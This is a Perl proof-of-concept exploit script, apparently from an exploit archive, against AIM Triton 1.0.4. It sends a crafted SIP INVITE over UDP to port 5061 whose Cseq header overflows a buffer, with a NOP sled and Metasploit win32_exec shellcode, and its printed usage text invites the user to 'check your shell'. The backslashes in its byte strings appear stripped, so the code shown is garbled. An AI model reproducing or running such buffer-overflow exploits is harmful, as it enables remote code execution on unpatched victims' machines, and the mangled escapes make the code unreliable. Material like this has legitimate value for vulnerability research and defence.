#!/usr/bin/perl
# 
# p0c
# Tested on Windows XP SP2 with triton 1.0.4
# c0rrupt -{at}- f34r -{dot}- us
#
# This exploits the sipxtapi vuln in triton which was patched.. sometime ago..
# The exploit sends a specially crafted udp packet to the triton client
# which leads to command execution through a buffer overflow.
# 
# The Triton client does not open the sipxtapi port 5061 by default.
# The port is open when the client attemps to try any talk session, and stays
# open for the remainder of the time it is running.

use IO::Socket::INET;

$target=$ARGV[0];

$MySocket=new IO::Socket::INET->new(PeerPort=>5061,Proto=>'udp',PeerAddr=>$ARGV[0]);

# win32_exec -  EXITFUNC=thread CMD=calc.exe Size=351 Encoder=PexAlphaNum http://metasploit.com
my $shellcode =
"xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49".
"x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36".
"x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34".
"x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41".
"x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4ax4ex46x44".
"x42x50x42x50x42x30x4bx48x45x44x4ex43x4bx48x4ex37".
"x45x50x4ax47x41x50x4fx4ex4bx38x4fx44x4ax31x4bx58".
"x4fx35x42x42x41x50x4bx4ex49x54x4bx48x46x33x4bx58".
"x41x30x50x4ex41x43x42x4cx49x59x4ex4ax46x58x42x4c".
"x46x57x47x50x41x4cx4cx4cx4dx50x41x50x44x4cx4bx4e".
"x46x4fx4bx43x46x45x46x42x46x30x45x57x45x4ex4bx58".
"x4fx55x46x32x41x30x4bx4ex48x36x4bx58x4ex50x4bx54".
"x4bx38x4fx55x4ex41x41x50x4bx4ex4bx38x4ex31x4bx38".
"x41x50x4bx4ex49x58x4ex55x46x42x46x30x43x4cx41x53".
"x42x4cx46x46x4bx38x42x44x42x53x45x38x42x4cx4ax37".
"x4ex30x4bx38x42x34x4ex50x4bx48x42x47x4ex31x4dx4a".
"x4bx48x4ax36x4ax30x4bx4ex49x30x4bx38x42x48x42x4b".
"x42x30x42x50x42x50x4bx48x4ax36x4ex53x4fx55x41x43".
"x48x4fx42x56x48x45x49x58x4ax4fx43x48x42x4cx4bx57".
"x42x55x4ax36x4fx4ex50x4cx42x4ex42x46x4ax36x4ax59".
"x50x4fx4cx58x50x50x47x45x4fx4fx47x4ex43x56x41x56".
"x4ex56x43x56x50x52x45x56x4ax47x45x36x42x50x5a";


if (not $ARGV[0]) 
{	
	print "[+] AIM Triton 1.0.4 (and more) Exploit by c0rrupt [+]n";
	print "[+] Greetz to n0limit, M03, Brax, raze, DiabloHorn, and everyone else [+]n";
        print "[+] Usage: trionPWN.pl <host> [+]n";
	exit;
}



print "[+] AIM Triton 1.0.4 (and more) Exploit by c0rrupt [+]n";
print "[+] Greetz to n0limit, M03, Brax, raze, DiabloHorn, and everyone else [+]n";


my $cseq = "B"x780 . "xEBx0Cx90x90" . "xd9xe7x01x40" . "x90"x500 . $shellcode;

my $packet =
"INVITE sip:a@127.0.0.1:5555 SIP/2.0r
From: <sip:hello@127.0.0.1:5555>;tag=1c32606r
To: sip:CFB5A74A87D97A19@192.168.1.109:5061r
Call-Id: 65f65f65d6sexcytvr
Cseq: $cseq";

print "[+] Packet Generated.. Sending to " . $target . "n";

$MySocket->send($packet);

print "[+] Attack completed, check your shell.n";

# www.Syue.com [2006-07-26]